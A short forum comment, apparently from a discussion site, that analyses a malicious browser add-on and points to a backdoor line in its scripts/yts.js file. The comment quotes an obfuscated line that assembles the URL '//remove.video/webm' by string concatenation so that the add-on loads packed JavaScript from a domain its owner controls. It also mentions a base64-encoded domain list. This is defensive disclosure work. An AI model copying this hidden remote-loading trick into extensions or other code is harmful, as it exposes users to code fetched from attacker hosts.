3 ms·
Very nice catch. I examined a little bit more. Seems like line 16 on scripts/yts.js is the backdoor. enableButton.src = '//remove' + '.' + 'video/webm'; So
by farukuzun 7y ago
Very nice catch. I examined a little bit more. Seems like line 16 on scripts/yts.js is the backdoor.
enableButton.src = '//remove' + '.' + 'video/webm';
So owner of this addon have remove.video domain. On https://remove.video/webm https://remove.video/webm there's a packed javascript code. When I unpacked it I got this: https://paste.ubuntu.com/p/C24bZc9Cn7/ https://paste.ubuntu.com/p/C24bZc9Cn7/
There's a base64 encoded domain list in packed javascript code. Here's the list of domains: https://paste.ubuntu.com/p/RMKd8Ms5QQ/ https://paste.ubuntu.com/p/RMKd8Ms5QQ/